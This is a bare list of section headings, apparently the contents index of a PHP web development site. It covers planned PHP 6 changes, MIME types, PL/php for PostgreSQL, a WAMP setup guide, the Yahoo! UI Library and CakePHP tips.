Different Regular Expression Engines

Give Regexes a First Try

Php, JavaScript & AJAX interview questions

Introduce the PHP 6

Unicode

Register Globals to go

Magic Quotes to go

Safe Mode to go

'var' to alias 'public'

Return by Reference will error

zend.ze1 compatbility mode to go

Freetype 1 and GD 1 support to go

dl() moves to SAPI only

FastCGI always on

Register Long Arrays to go

Extension Movements

PHP Engine Additions

OO changes

Additions to PHP

Conclusion

Model View Controller

Mime Types

MIME Types By Content Type

Mime Types By File Extension

PHP Procedural Language for PostgreSQL

What is PL/php?

Download and Installation

Creating the PL/php language

Apache 2, PHP 4 & PHP 5 on Windows XP

The Guide

Useful Extras

Troubleshooting

Who is this guide aimed at?

User Feedback

WAMP Guide Forum

PHP Ajax Frameworks

PHP Security Guide

Php-PgSql Example of Function

PostgreSQL: The world's most advanced open source database

Featureful and Standards Compliant

Highly Customizable

Yahoo! User Interface Library

Using YUI:

Searchable API Documentation

YUI Library Utilities:

YUI Library CSS Tools:

YUI Library Controls:

Ultimate Web 2.0 Layer Styles

21 Things You Must Know About CakePHP

Easily creating static pages

Static pages - Adjusting the page title

Static pages - Adjusting other data sent to the layout

Creating a simple admin center

Viewing the SQL queries that are running behind the scenes

Multiple sources of documentation

Using bake.php

Mind permissions when moving cake around

Complex model validation

Logging errors

Creating a controller that uses other models

Creating a model for a table that doesn't actually exist in the database

Call exit() after redirecting

Advanced model functions

Inserting multiple rows in succession

Inserting logic before or after controller functions

Adding a WYSIWYG editor to CakePHP